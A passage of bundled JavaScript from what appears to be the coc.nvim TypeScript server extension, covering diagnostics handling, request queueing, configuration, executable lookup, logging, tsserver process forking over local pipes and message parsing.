this._map = new resourceMap_1.ResourceMap();
}
}
exports.DiagnosticSet = DiagnosticSet;
var DiagnosticKind;
(function (DiagnosticKind) {
DiagnosticKind[DiagnosticKind["Syntax"] = 0] = "Syntax";
DiagnosticKind[DiagnosticKind["Semantic"] = 1] = "Semantic";
DiagnosticKind[DiagnosticKind["Suggestion"] = 2] = "Suggestion";
})(DiagnosticKind = exports.DiagnosticKind || (exports.DiagnosticKind = {}));
const allDiagnosticKinds = [
DiagnosticKind.Syntax,
DiagnosticKind.Semantic,
DiagnosticKind.Suggestion
];
class DiagnosticsManager {
constructor() {
this._diagnostics = new Map();
this._pendingUpdates = new resourceMap_1.ResourceMap();
this._enableJavascriptSuggestions = true;
this._enableTypescriptSuggestions = true;
this.updateDelay = 200;
for (const kind of allDiagnosticKinds) {
this._diagnostics.set(kind, new DiagnosticSet());
}
this._currentDiagnostics = coc_nvim_1.languages.createDiagnosticCollection('tsserver');
}
dispose() {
this._currentDiagnostics.dispose();
for (const value of this._pendingUpdates.values) {
clearTimeout(value);
}
this._pendingUpdates = new resourceMap_1.ResourceMap();
}
reInitialize() {
this._currentDiagnostics.clear();
for (const diagnosticSet of this._diagnostics.values()) {
diagnosticSet.clear();
}
}
setEnableSuggestions(languageId, value) {
let curr = languageId == 'javascript' ? this._enableJavascriptSuggestions : this._enableTypescriptSuggestions;
if (curr == value) {
return;
}
if (languageId == 'javascript') {
this._enableJavascriptSuggestions = value;
}
else {
this._enableTypescriptSuggestions = value;
}
}
diagnosticsReceived(kind, uri, diagnostics) {
const collection = this._diagnostics.get(kind);
if (!collection)
return;
let doc = coc_nvim_1.workspace.getDocument(uri);
if (doc)
uri = doc.uri;
if (diagnostics.length === 0) {
const existing = collection.get(uri);
if (existing.length === 0) {
// No need to update
return;
}
}
collection.set(uri, diagnostics);
this.scheduleDiagnosticsUpdate(uri);
}
configFileDiagnosticsReceived(uri, diagnostics) {
this._currentDiagnostics.set(uri, diagnostics);
}
delete(uri) {
this._currentDiagnostics.delete(uri);
}
getDiagnostics(uri) {
return this._currentDiagnostics.get(uri) || [];
return [];
}
scheduleDiagnosticsUpdate(uri) {
if (!this._pendingUpdates.has(uri)) {
this._pendingUpdates.set(uri, setTimeout(() => this.updateCurrentDiagnostics(uri), this.updateDelay));
}
}
updateCurrentDiagnostics(uri) {
if (this._pendingUpdates.has(uri)) {
clearTimeout(this._pendingUpdates.get(uri));
this._pendingUpdates.delete(uri);
}
const allDiagnostics = [
...this._diagnostics.get(DiagnosticKind.Syntax).get(uri),
...this._diagnostics.get(DiagnosticKind.Semantic).get(uri),
...this.getSuggestionDiagnostics(uri)
];
this._currentDiagnostics.set(uri, allDiagnostics);
}
getSuggestionDiagnostics(uri) {
const enabled = this.suggestionsEnabled(uri);
return this._diagnostics
.get(DiagnosticKind.Suggestion)
.get(uri)
.filter(x => {
if (!enabled) {
// Still show unused
return x.code == 6133;
}
return enabled;
});
}
suggestionsEnabled(uri) {
let doc = coc_nvim_1.workspace.getDocument(uri);
if (!doc)
return false;
if (doc.filetype.startsWith('javascript')) {
return this._enableJavascriptSuggestions;
}
if (doc.filetype.startsWith('typescript')) {
return this._enableTypescriptSuggestions;
}
return true;
}
}
exports.DiagnosticsManager = DiagnosticsManager;
/***/ }),
/* 126 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.RequestQueue = exports.RequestQueueingType = void 0;
var RequestQueueingType;
(function (RequestQueueingType) {
/**
* Normal request that is executed in order.
*/
RequestQueueingType[RequestQueueingType["Normal"] = 1] = "Normal";
/**
* Request that normal requests jump in front of in the queue.
*/
RequestQueueingType[RequestQueueingType["LowPriority"] = 2] = "LowPriority";
/**
* A fence that blocks request reordering.
*
* Fences are not reordered. Unlike a normal request, a fence will never jump in front of a low priority request
* in the request queue.
*/
RequestQueueingType[RequestQueueingType["Fence"] = 3] = "Fence";
})(RequestQueueingType = exports.RequestQueueingType || (exports.RequestQueueingType = {}));
class RequestQueue {
constructor() {
this.queue = [];
this.sequenceNumber = 0;
}
get length() {
return this.queue.length;
}
enqueue(item) {
if (item.queueingType === RequestQueueingType.Normal) {
let index = this.queue.length - 1;
while (index >= 0) {
if (this.queue[index].queueingType !== RequestQueueingType.LowPriority) {
break;
}
--index;
}
this.queue.splice(index + 1, 0, item);
}
else {
// Only normal priority requests can be reordered. All other requests just go to the end.
this.queue.push(item);
}
}
dequeue() {
return this.queue.shift();
}
tryDeletePendingRequest(seq) {
for (let i = 0; i < this.queue.length; i++) {
if (this.queue[i].request.seq === seq) {
this.queue.splice(i, 1);
return true;
}
}
return false;
}
createRequest(command, args) {
return {
seq: this.sequenceNumber++,
type: 'request',
command,
arguments: args
};
}
}
exports.RequestQueue = RequestQueue;
/***/ }),
/* 127 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.TypeScriptServiceConfiguration = exports.TsServerLogLevel = void 0;
const coc_nvim_1 = __webpack_require__(1);
const which_1 = __importDefault(__webpack_require__(128));
var TsServerLogLevel;
(function (TsServerLogLevel) {
TsServerLogLevel[TsServerLogLevel["Off"] = 0] = "Off";
TsServerLogLevel[TsServerLogLevel["Normal"] = 1] = "Normal";
TsServerLogLevel[TsServerLogLevel["Terse"] = 2] = "Terse";
TsServerLogLevel[TsServerLogLevel["Verbose"] = 3] = "Verbose";
})(TsServerLogLevel = exports.TsServerLogLevel || (exports.TsServerLogLevel = {}));
(function (TsServerLogLevel) {
function fromString(value) {
switch (value && value.toLowerCase()) {
case 'normal':
return TsServerLogLevel.Normal;
case 'terse':
return TsServerLogLevel.Terse;
case 'verbose':
return TsServerLogLevel.Verbose;
case 'off':
default:
return TsServerLogLevel.Off;
}
}
TsServerLogLevel.fromString = fromString;
function toString(value) {
switch (value) {
case TsServerLogLevel.Normal:
return 'normal';
case TsServerLogLevel.Terse:
return 'terse';
case TsServerLogLevel.Verbose:
return 'verbose';
case TsServerLogLevel.Off:
default:
return 'off';
}
}
TsServerLogLevel.toString = toString;
})(TsServerLogLevel = exports.TsServerLogLevel || (exports.TsServerLogLevel = {}));
class TypeScriptServiceConfiguration {
constructor() {
this._configuration = coc_nvim_1.workspace.getConfiguration('tsserver');
coc_nvim_1.workspace.onDidChangeConfiguration(() => {
this._configuration = coc_nvim_1.workspace.getConfiguration('tsserver');
});
}
get locale() {
return this._configuration.get('locale', null);
}
get globalTsdk() {
return this._configuration.get('tsdk', null);
}
get ignoreLocalTsserver() {
return this._configuration.get('ignoreLocalTsserver', false);
}
get tsServerLogLevel() {
return TsServerLogLevel.fromString(this._configuration.get('log', null));
}
// public readonly watchOptions: protocol.WatchOptions | undefined;
get watchOptions() {
return this._configuration.get('watchOptions');
}
get typingsCacheLocation() {
return this._configuration.get('typingsCacheLocation', '');
}
get tsServerPluginPaths() {
return this._configuration.get('pluginPaths', []);
}
get checkJs() {
return this._configuration.get('implicitProjectConfig.checkJs', false);
}
get experimentalDecorators() {
return this._configuration.get('implicitProjectConfig.experimentalDecorators', false);
}
get disableAutomaticTypeAcquisition() {
return this._configuration.get('disableAutomaticTypeAcquisition', false);
}
get formatOnType() {
return this._configuration.get('formatOnType', false);
}
get maxTsServerMemory() {
return this._configuration.get('maxTsServerMemory', 0);
}
get debugPort() {
return this._configuration.get('debugPort', parseInt(process.env['TSS_DEBUG'], 10));
}
get npmLocation() {
let path = this._configuration.get('npm', '');
if (path)
return coc_nvim_1.workspace.expand(path);
try {
path = which_1.default.sync('npm');
}
catch (e) {
return null;
}
return path;
}
static loadFromWorkspace() {
return new TypeScriptServiceConfiguration();
}
}
exports.TypeScriptServiceConfiguration = TypeScriptServiceConfiguration;
/***/ }),
/* 128 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const isWindows = process.platform === 'win32' ||
process.env.OSTYPE === 'cygwin' ||
process.env.OSTYPE === 'msys'
const path = __webpack_require__(13)
const COLON = isWindows ? ';' : ':'
const isexe = __webpack_require__(129)
const getNotFoundError = (cmd) =>
Object.assign(new Error(`not found: ${cmd}`), { code: 'ENOENT' })
const getPathInfo = (cmd, opt) => {
const colon = opt.colon || COLON
// If it has a slash, then we don't bother searching the pathenv.
// just check the file itself, and that's it.
const pathEnv = cmd.match(/\//) || isWindows && cmd.match(/\\/) ? ['']
: (
[
// windows always checks the cwd first
...(isWindows ? [process.cwd()] : []),
...(opt.path || process.env.PATH ||
/* istanbul ignore next: very unusual */ '').split(colon),
]
)
const pathExtExe = isWindows
? opt.pathExt || process.env.PATHEXT || '.EXE;.CMD;.BAT;.COM'
: ''
const pathExt = isWindows ? pathExtExe.split(colon) : ['']
if (isWindows) {
if (cmd.indexOf('.') !== -1 && pathExt[0] !== '')
pathExt.unshift('')
}
return {
pathEnv,
pathExt,
pathExtExe,
}
}
const which = (cmd, opt, cb) => {
if (typeof opt === 'function') {
cb = opt
opt = {}
}
if (!opt)
opt = {}
const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt)
const found = []
const step = i => new Promise((resolve, reject) => {
if (i === pathEnv.length)
return opt.all && found.length ? resolve(found)
: reject(getNotFoundError(cmd))
const ppRaw = pathEnv[i]
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw
const pCmd = path.join(pathPart, cmd)
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd
: pCmd
resolve(subStep(p, i, 0))
})
const subStep = (p, i, ii) => new Promise((resolve, reject) => {
if (ii === pathExt.length)
return resolve(step(i + 1))
const ext = pathExt[ii]
isexe(p + ext, { pathExt: pathExtExe }, (er, is) => {
if (!er && is) {
if (opt.all)
found.push(p + ext)
else
return resolve(p + ext)
}
return resolve(subStep(p, i, ii + 1))
})
})
return cb ? step(0).then(res => cb(null, res), cb) : step(0)
}
const whichSync = (cmd, opt) => {
opt = opt || {}
const { pathEnv, pathExt, pathExtExe } = getPathInfo(cmd, opt)
const found = []
for (let i = 0; i < pathEnv.length; i ++) {
const ppRaw = pathEnv[i]
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw
const pCmd = path.join(pathPart, cmd)
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd
: pCmd
for (let j = 0; j < pathExt.length; j ++) {
const cur = p + pathExt[j]
try {
const is = isexe.sync(cur, { pathExt: pathExtExe })
if (is) {
if (opt.all)
found.push(cur)
else
return cur
}
} catch (ex) {}
}
}
if (opt.all && found.length)
return found
if (opt.nothrow)
return null
throw getNotFoundError(cmd)
}
module.exports = which
which.sync = whichSync
/***/ }),
/* 129 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
var fs = __webpack_require__(105)
var core
if (process.platform === 'win32' || global.TESTING_WINDOWS) {
core = __webpack_require__(130)
} else {
core = __webpack_require__(131)
}
module.exports = isexe
isexe.sync = sync
function isexe (path, options, cb) {
if (typeof options === 'function') {
cb = options
options = {}
}
if (!cb) {
if (typeof Promise !== 'function') {
throw new TypeError('callback not provided')
}
return new Promise(function (resolve, reject) {
isexe(path, options || {}, function (er, is) {
if (er) {
reject(er)
} else {
resolve(is)
}
})
})
}
core(path, options || {}, function (er, is) {
// ignore EACCES because that just means we aren't allowed to run it
if (er) {
if (er.code === 'EACCES' || options && options.ignoreErrors) {
er = null
is = false
}
}
cb(er, is)
})
}
function sync (path, options) {
// my kingdom for a filtered catch
try {
return core.sync(path, options || {})
} catch (er) {
if (options && options.ignoreErrors || er.code === 'EACCES') {
return false
} else {
throw er
}
}
}
/***/ }),
/* 130 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
module.exports = isexe
isexe.sync = sync
var fs = __webpack_require__(105)
function checkPathExt (path, options) {
var pathext = options.pathExt !== undefined ?
options.pathExt : process.env.PATHEXT
if (!pathext) {
return true
}
pathext = pathext.split(';')
if (pathext.indexOf('') !== -1) {
return true
}
for (var i = 0; i < pathext.length; i++) {
var p = pathext[i].toLowerCase()
if (p && path.substr(-p.length).toLowerCase() === p) {
return true
}
}
return false
}
function checkStat (stat, path, options) {
if (!stat.isSymbolicLink() && !stat.isFile()) {
return false
}
return checkPathExt(path, options)
}
function isexe (path, options, cb) {
fs.stat(path, function (er, stat) {
cb(er, er ? false : checkStat(stat, path, options))
})
}
function sync (path, options) {
return checkStat(fs.statSync(path), path, options)
}
/***/ }),
/* 131 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
module.exports = isexe
isexe.sync = sync
var fs = __webpack_require__(105)
function isexe (path, options, cb) {
fs.stat(path, function (er, stat) {
cb(er, er ? false : checkStat(stat, options))
})
}
function sync (path, options) {
return checkStat(fs.statSync(path), options)
}
function checkStat (stat, options) {
return stat.isFile() && checkMode(stat, options)
}
function checkMode (stat, options) {
var mod = stat.mode
var uid = stat.uid
var gid = stat.gid
var myUid = options.uid !== undefined ?
options.uid : process.getuid && process.getuid()
var myGid = options.gid !== undefined ?
options.gid : process.getgid && process.getgid()
var u = parseInt('100', 8)
var g = parseInt('010', 8)
var o = parseInt('001', 8)
var ug = u | g
var ret = (mod & o) ||
(mod & g) && gid === myGid ||
(mod & u) && uid === myUid ||
(mod & ug) && myUid === 0
return ret
}
/***/ }),
/* 132 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const is = __importStar(__webpack_require__(133));
class Logger {
get output() {
if (this._channel) {
return this._channel;
}
this._channel = coc_nvim_1.window.createOutputChannel('tsserver');
return this._channel;
}
dispose() {
if (this._channel) {
this._channel.dispose();
}
}
data2String(data) {
if (data instanceof Error) {
if (is.string(data.stack)) {
return data.stack;
}
return data.message;
}
if (is.boolean(data.success) && !data.success && is.string(data.message)) {
return data.message;
}
if (is.string(data)) {
return data;
}
return data.toString();
}
info(message, data) {
this.logLevel('Info', message, data);
}
warn(message, data) {
this.logLevel('Warn', message, data);
}
error(message, data) {
// See https://github.com/Microsoft/TypeScript/issues/10496
if (data && data.message === 'No content available.') {
return;
}
this.logLevel('Error', message, data);
}
logLevel(level, message, data) {
this.output.appendLine(`[${level} - ${new Date().toLocaleTimeString()}] ${message}`);
if (data) {
this.output.appendLine(this.data2String(data));
}
}
}
exports.default = Logger;
/***/ }),
/* 133 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.string = exports.boolean = exports.defined = void 0;
const toString = Object.prototype.toString;
function defined(value) {
return typeof value !== 'undefined';
}
exports.defined = defined;
function boolean(value) {
return value === true || value === false;
}
exports.boolean = boolean;
function string(value) {
return toString.call(value) === '[object String]';
}
exports.string = string;
/***/ }),
/* 134 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.fork = exports.getTempFile = exports.getTempDirectory = exports.makeRandomHexString = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const child_process_1 = __importDefault(__webpack_require__(104));
const net_1 = __importDefault(__webpack_require__(16));
const os_1 = __importDefault(__webpack_require__(14));
const path_1 = __importDefault(__webpack_require__(13));
const fs_1 = __importDefault(__webpack_require__(105));
function makeRandomHexString(length) {
let chars = ['0', '1', '2', '3', '4', '5', '6', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
let result = '';
for (let i = 0; i < length; i++) {
const idx = Math.floor(chars.length * Math.random());
result += chars[idx];
}
return result;
}
exports.makeRandomHexString = makeRandomHexString;
function getTempDirectory() {
let dir = path_1.default.join(os_1.default.tmpdir(), `coc.nvim-${process.pid}`);
if (!fs_1.default.existsSync(dir)) {
fs_1.default.mkdirSync(dir);
}
return dir;
}
exports.getTempDirectory = getTempDirectory;
function generatePipeName() {
return getPipeName(makeRandomHexString(40));
}
function getPipeName(name) {
const fullName = 'coc-tsc-' + name;
if (process.platform === 'win32') {
return '\\\\.\\pipe\\' + fullName + '-sock';
}
const tmpdir = getTempDirectory();
// Mac/Unix: use socket file
return path_1.default.join(tmpdir, fullName + '.sock');
}
function getTempFile(name) {
const fullName = 'coc-nvim-' + name;
return path_1.default.join(getTempDirectory(), fullName + '.sock');
}
exports.getTempFile = getTempFile;
function generatePatchedEnv(env, stdInPipeName, stdOutPipeName, stdErrPipeName) {
const newEnv = Object.assign({}, env);
// Set the two unique pipe names and the electron flag as process env
newEnv['STDIN_PIPE_NAME'] = stdInPipeName; // tslint:disable-line
newEnv['STDOUT_PIPE_NAME'] = stdOutPipeName; // tslint:disable-line
newEnv['STDERR_PIPE_NAME'] = stdErrPipeName; // tslint:disable-line
newEnv['TSS_LOG'] = `-level verbose -file ${path_1.default.join(os_1.default.tmpdir(), 'coc-nvim-tsc.log')}`; // tslint:disable-line
// Ensure we always have a PATH set
newEnv['PATH'] = newEnv['PATH'] || process.env.PATH; // tslint:disable-line
return newEnv;
}
function fork(modulePath, args, options, logger, callback) {
let callbackCalled = false;
const resolve = (result) => {
if (callbackCalled) {
return;
}
callbackCalled = true;
callback(null, result);
};
const reject = (err) => {
if (callbackCalled) {
return;
}
callbackCalled = true;
callback(err, null);
};
// Generate three unique pipe names
const stdInPipeName = generatePipeName();
const stdOutPipeName = generatePipeName();
const stdErrPipeName = generatePipeName();
const newEnv = generatePatchedEnv(process.env, stdInPipeName, stdOutPipeName, stdErrPipeName);
newEnv['NODE_PATH'] = path_1.default.join(modulePath, '..', '..', '..'); // tslint:disable-line
let childProcess;
// Begin listening to stderr pipe
let stdErrServer = net_1.default.createServer(stdErrStream => {
// From now on the childProcess.stderr is available for reading
childProcess.stderr = stdErrStream;
});
stdErrServer.listen(stdErrPipeName);
// Begin listening to stdout pipe
let stdOutServer = net_1.default.createServer(stdOutStream => {
// The child process will write exactly one chunk with content `ready` when it has installed a listener to the stdin pipe
stdOutStream.once('data', (_chunk) => {
// The child process is sending me the `ready` chunk, time to connect to the stdin pipe
childProcess.stdin = net_1.default.connect(stdInPipeName);
// From now on the childProcess.stdout is available for reading
childProcess.stdout = stdOutStream;
resolve(childProcess);
});
});
stdOutServer.listen(stdOutPipeName);
let serverClosed = false;
const closeServer = () => {
if (serverClosed) {
return;
}
serverClosed = true;
stdOutServer.close();
stdErrServer.close();
};
// Create the process
logger.info('Forking TSServer', `PATH: ${newEnv['PATH']} `);
const bootstrapperPath = path_1.default.resolve(__dirname, '../bin/tsserverForkStart');
childProcess = child_process_1.default.fork(bootstrapperPath, [modulePath].concat(args), {
silent: true,
env: newEnv,
execArgv: options.execArgv
});
childProcess.once('error', (err) => {
closeServer();
reject(err);
});
childProcess.once('exit', (err) => {
closeServer();
reject(err);
});
}
exports.fork = fork;
/***/ }),
/* 135 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const coc_nvim_1 = __webpack_require__(1);
var Trace;
(function (Trace) {
Trace[Trace["Off"] = 0] = "Off";
Trace[Trace["Messages"] = 1] = "Messages";
Trace[Trace["Verbose"] = 2] = "Verbose";
})(Trace || (Trace = {}));
(function (Trace) {
function fromString(value) {
value = value || '';
value = value.toLowerCase();
switch (value) {
case 'off':
return Trace.Off;
case 'messages':
return Trace.Messages;
case 'verbose':
return Trace.Verbose;
default:
return Trace.Off;
}
}
Trace.fromString = fromString;
})(Trace || (Trace = {}));
class Tracer {
constructor(logger) {
this.logger = logger;
this.trace = Tracer.readTrace();
}
static readTrace() {
let result = Trace.fromString(coc_nvim_1.workspace.getConfiguration('tsserver').get('trace.server', 'off'));
if (result === Trace.Off && !!process.env.TSS_TRACE) {
result = Trace.Messages;
}
return result;
}
traceRequest(request, responseExpected, queueLength) {
if (this.trace === Trace.Off)
return;
let data;
if (this.trace === Trace.Verbose && request.arguments) {
data = `Arguments: ${JSON.stringify(request.arguments, null, 4)}`;
}
this.logTrace(`Sending request: ${request.command} (${request.seq}). Response expected: ${responseExpected ? 'yes' : 'no'}. Current queue length: ${queueLength}`, data);
}
traceResponse(response, startTime) {
if (this.trace === Trace.Off) {
return;
}
let data;
if (this.trace === Trace.Verbose && response.body) {
data = `Result: ${JSON.stringify(response.body, null, 4)}`;
}
this.logTrace(`Response received: ${response.command} (${response.request_seq}). Request took ${Date.now() - startTime} ms. Success: ${response.success} ${!response.success ? '. Message: ' + response.message : ''}`, data);
}
traceEvent(event) {
if (this.trace === Trace.Off) {
return;
}
let data;
if (this.trace === Trace.Verbose && event.body) {
data = `Data: ${JSON.stringify(event.body, null, 4)}`;
}
this.logTrace(`Event received: ${event.event} (${event.seq}).`, data);
}
logTrace(message, data) {
if (this.trace !== Trace.Off) {
this.logger.logLevel('Trace', message, data);
}
}
traceRequestCompleted(command, request_seq, startTime) {
if (this.trace === Trace.Off) {
return;
}
this.logTrace(`Async response received: ${command} (${request_seq}). Request took ${Date.now() - startTime} ms.`);
}
}
exports.default = Tracer;
/***/ }),
/* 136 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.inferredProjectConfig = void 0;
function inferredProjectConfig(config) {
const base = {
module: 'commonjs',
target: 'es2016',
jsx: 'preserve'
};
if (config.checkJs) {
base.checkJs = true;
}
if (config.experimentalDecorators) {
base.experimentalDecorators = true;
}
return base;
}
exports.inferredProjectConfig = inferredProjectConfig;
/***/ }),
/* 137 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.TypeScriptVersionProvider = exports.TypeScriptVersion = void 0;
const coc_nvim_1 = __webpack_require__(1);
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const fs_1 = __importDefault(__webpack_require__(105));
const path_1 = __importDefault(__webpack_require__(13));
const api_1 = __importDefault(__webpack_require__(36));
const requireFunc = true ? require : 0;
class TypeScriptVersion {
constructor(path, _pathLabel) {
this.path = path;
this._pathLabel = _pathLabel;
this._api = null;
}
get tscPath() {
return path_1.default.resolve(this.path, '../bin/tsc');
}
get tsServerPath() {
return path_1.default.resolve(this.path, 'tsserver.js');
}
get pathLabel() {
return typeof this._pathLabel === 'undefined' ? this.path : this._pathLabel;
}
get isValid() {
return this.version != null;
}
get version() {
if (this._api)
return this._api;
let api = this._api = this.getTypeScriptVersion(this.tsServerPath);
return api;
}
get versionString() {
const version = this.version;
return version ? version.versionString : null;
}
getTypeScriptVersion(serverPath) {
if (!fs_1.default.existsSync(serverPath)) {
return undefined;
}
const p = serverPath.split(path_1.default.sep);
if (p.length <= 2) {
return undefined;
}
const p2 = p.slice(0, -2);
const modulePath = p2.join(path_1.default.sep);
let fileName = path_1.default.join(modulePath, 'package.json');
if (!fs_1.default.existsSync(fileName)) {
// Special case for ts dev versions
if (path_1.default.basename(modulePath) === 'built') {
fileName = path_1.default.join(modulePath, '..', 'package.json');
}
}
if (!fs_1.default.existsSync(fileName)) {
return undefined;
}
const contents = fs_1.default.readFileSync(fileName).toString();
let desc = null;
try {
desc = JSON.parse(contents);
}
catch (err) {
return undefined;
}
if (!desc || !desc.version) {
return undefined;
}
return desc.version ? api_1.default.fromVersionString(desc.version) : undefined;
}
}
exports.TypeScriptVersion = TypeScriptVersion;
const MODULE_FOLDERS = ['node_modules/typescript/lib', '.vscode/pnpify/typescript/lib', '.yarn/sdks/typescript/lib'];
class TypeScriptVersionProvider {
constructor(configuration) {
this.configuration = configuration;
}
updateConfiguration(configuration) {
this.configuration = configuration;
}
getDefaultVersion() {
// tsdk from configuration
let { globalTsdk } = this.configuration;
if (globalTsdk)
return new TypeScriptVersion(globalTsdk);
return this.bundledVersion;
}
get globalVersion() {
let { globalTsdk } = this.configuration;
if (globalTsdk)
return new TypeScriptVersion(coc_nvim_1.workspace.expand(globalTsdk));
return undefined;
}
getLocalVersion() {
let folders = coc_nvim_1.workspace.workspaceFolders.map(f => coc_nvim_1.Uri.parse(f.uri).fsPath);
for (let p of folders) {
for (let folder of MODULE_FOLDERS) {
let libFolder = path_1.default.join(p, folder);
if (fs_1.default.existsSync(libFolder)) {
let version = new TypeScriptVersion(libFolder);
if (version.isValid)
return version;
}
}
}
return null;
}
get bundledVersion() {
try {
const file = requireFunc.resolve('typescript');
const bundledVersion = new TypeScriptVersion(path_1.default.dirname(file), '');
return bundledVersion;
}
catch (e) {
coc_nvim_1.window.showMessage('Bundled typescript module not found', 'error');
return null;
}
}
}
exports.TypeScriptVersionProvider = TypeScriptVersionProvider;
/***/ }),
/* 138 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
class VersionStatus {
constructor(_normalizePath, enableJavascript) {
this._normalizePath = _normalizePath;
this.enableJavascript = enableJavascript;
this._versionBarEntry = coc_nvim_1.window.createStatusBarItem(99);
this._onChangeEditorSub = coc_nvim_1.events.on('BufEnter', this.onBufEnter, this);
this._versionBarEntry.show();
}
dispose() {
this._versionBarEntry.dispose();
this._onChangeEditorSub.dispose();
}
onDidChangeTypeScriptVersion(_version) {
this._versionBarEntry.text = `TSC`;
}
set loading(isLoading) {
this._versionBarEntry.isProgress = isLoading;
}
checkFiletype(filetype) {
if (filetype.startsWith('javascript') && this.enableJavascript) {
return true;
}
return filetype.startsWith('typescript');
}
async onBufEnter(bufnr) {
let filetype = await coc_nvim_1.workspace.nvim.call('getbufvar', [bufnr, '&filetype', '']);
if (this.checkFiletype(filetype)) {
this._versionBarEntry.show();
}
else {
this._versionBarEntry.hide();
}
}
}
exports.default = VersionStatus;
/***/ }),
/* 139 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.Reader = void 0;
const DefaultSize = 8192;
const ContentLength = 'Content-Length: ';
const ContentLengthSize = Buffer.byteLength(ContentLength, 'utf8');
const Blank = Buffer.from(' ', 'utf8')[0];
const BackslashR = Buffer.from('\r', 'utf8')[0];
const BackslashN = Buffer.from('\n', 'utf8')[0];
class ProtocolBuffer {
constructor() {
this.index = 0;
this.buffer = Buffer.allocUnsafe(DefaultSize);
}
append(data) {
let toAppend = null;
if (Buffer.isBuffer(data)) {
toAppend = data;
}
else {
toAppend = Buffer.from(data, 'utf8');
}
if (this.buffer.length - this.index >= toAppend.length) {
toAppend.copy(this.buffer, this.index, 0, toAppend.length);
}
else {
let newSize = (Math.ceil((this.index + toAppend.length) / DefaultSize) + 1) *
DefaultSize;
if (this.index === 0) {
this.buffer = Buffer.allocUnsafe(newSize);
toAppend.copy(this.buffer, 0, 0, toAppend.length);
}
else {
this.buffer = Buffer.concat([this.buffer.slice(0, this.index), toAppend], newSize);
}
}
this.index += toAppend.length;
}
tryReadContentLength() {
let result = -1;
let current = 0;
// we are utf8 encoding...
while (current < this.index &&
(this.buffer[current] === Blank ||
this.buffer[current] === BackslashR ||
this.buffer[current] === BackslashN)) {
current++;
}
if (this.index < current + ContentLengthSize) {
return result;
}
current += ContentLengthSize;
let start = current;
while (current < this.index && this.buffer[current] !== BackslashR) {
current++;
}
if (current + 3 >= this.index ||
this.buffer[current + 1] !== BackslashN ||
this.buffer[current + 2] !== BackslashR ||
this.buffer[current + 3] !== BackslashN) {
return result;
}
let data = this.buffer.toString('utf8', start, current);
result = parseInt(data, 10);
this.buffer = this.buffer.slice(current + 4);
this.index = this.index - (current + 4);
return result;
}
tryReadContent(length) {
if (this.index < length) {
return null;
}
let result = this.buffer.toString('utf8', 0, length);
let sourceStart = length;
while (sourceStart < this.index &&
(this.buffer[sourceStart] === BackslashR ||
this.buffer[sourceStart] === BackslashN)) {
sourceStart++;
}
this.buffer.copy(this.buffer, 0, sourceStart);
this.index = this.index - sourceStart;
return result;
}
}
class Reader {
constructor(readable, callback, onError) {
this.readable = readable;
this.callback = callback;
this.onError = onError;
